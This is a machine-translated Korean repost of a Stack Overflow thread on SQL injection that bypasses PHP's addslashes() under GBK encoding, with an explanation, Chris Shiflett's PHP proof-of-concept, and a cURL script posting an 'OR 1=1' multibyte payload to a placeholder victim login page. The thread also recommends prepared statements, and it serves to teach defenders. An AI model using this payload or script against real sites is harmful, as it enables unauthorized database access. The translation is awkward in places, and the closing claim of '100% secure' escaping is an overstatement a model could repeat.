IT story

addlash ()를 통한 SQL 주입의 예?

hot-time 2020. 12. 31. 22:55
반응형

addlash ()를 통한 SQL 주입의 예?


PHP mysql_real_escape에서는를 사용하는 것보다 훨씬 안전 하다는 것을 알고 addslashes있습니다. 그러나 addslashesSQL 주입이 발생하도록하는 상황의 예를 찾을 수 없습니다 .

누구든지 몇 가지 예를 들어 줄 수 있습니까?


음, 여기 당신이 원하는 기사가 있습니다 .

기본적으로 공격이 작동하는 방식은 addslashes()백 슬래시가 유효한 멀티 바이트 시퀀스의 일부가되어 의미를 잃도록 멀티 바이트 문자의 중간에 백 슬래시를 넣는 것입니다.

기사의 일반적인주의 사항 :

이 유형의 공격은으로 끝나는 유효한 멀티 바이트 문자가있는 모든 문자 인코딩에서 가능 합니다. 그 뒤에 오는 작은 따옴표를 이스케이프하는 대신 유효한 멀티 바이트 문자를 만들도록 속일 수 0x5c있기 때문 addslashes()입니다. UTF-8은이 설명에 맞지 않습니다.


Chris Shiflett 은 다음 예제를 통해 명확하게 설명합니다. 데이터베이스에서 GBK 인코딩을 사용할 때 시도해 보면 당연한 일입니다. 시도해 보았지만 SQL 주입의 기회가 매우 적음에도 불구하고 좋은 지식과 능력을 가진 사람이 쉽게 주입 할 수 있음을 증명합니다. 여기에 예가 있습니다 ...

<?php 

       $mysql = array();
       $db = mysqli_init();
       $db->real_connect('localhost', 'myuser', 'mypass', 'mydb');

       /* SQL Injection Example */

       $_POST['username'] = chr(0xbf) . chr(0x27) . ' OR username = username /*';
       $_POST['password'] = 'guess';

       $mysql['username'] = addslashes($_POST['username']);
       $mysql['password'] = addslashes($_POST['password']);

       $sql = "SELECT * FROM   users
               WHERE username = '{$mysql['username']}'
               AND password = '{$mysql['password']}'";

       $result = $db->query($sql);

       if ($result->num_rows) {
              /* Success */
       } else {
              /* Failure */
       }

?>

addlashes () 또는 magic_quotes_gpc를 사용하는 것은 일반적으로 다소 안전한 것으로 간주되지만 GBK를 사용하면 거의 쓸모가 없게됩니다. 다음 PHP cURL 스크립트는 인젝션을 사용할 수 있습니다. 이것이 이해하는 데 도움이되기를 바랍니다.

<?php

       $url     = "http://www.victimsite.com/login.php";
       $ref     = "http://www.victimsite.com/index.php";
       $session = "PHPSESSID=abcdef01234567890abcdef01";

       $ch      = curl_init();

       curl_setopt( $ch, CURLOPT_URL,            $url     );
       curl_setopt( $ch, CURLOPT_REFERER,        $ref     );
       curl_setopt( $ch, CURLOPT_RETURNTRANSFER, TRUE     );
       curl_setopt( $ch, CURLOPT_COOKIE,         $session );
       curl_setopt( $ch, CURLOPT_POST,           TRUE     );
       curl_setopt( $ch, CURLOPT_POSTFIELDS,     "username=" . chr(0xbf) . chr(0x27) .
                                                 "OR 1=1/*&submit=1" );

       $data = curl_exec( $ch );

       print( $data );
       curl_close( $ch );
 ?>

답변 독자를위한 추가 사항 :이 MySQL 버그는 이미 수정되었습니다.)

또한 항상 준비된 문장을 사용하는 것이 좋습니다. 이것은 쿼리를 실행할 수있는 가장 악용없는 방법입니다 (여러 사용 사례에서 가장 성능이 뛰어난 방법). 그리고이 결함에서 당신을 구했을 것입니다.


mysql_real_escape_string () 대 준비된 문mysql_real_escape_string ()이 100 % 안전하지 않다는 것을 명확하게 설명합니다 .

using mysql_set_charset('GBK') to replace mysql_query("SET CHARACTER SET 'GBK'"), the mysql_real_escape_string() can be 100% secure.

ReferenceURL : https://stackoverflow.com/questions/860954/examples-of-sql-injections-through-addslashes

반응형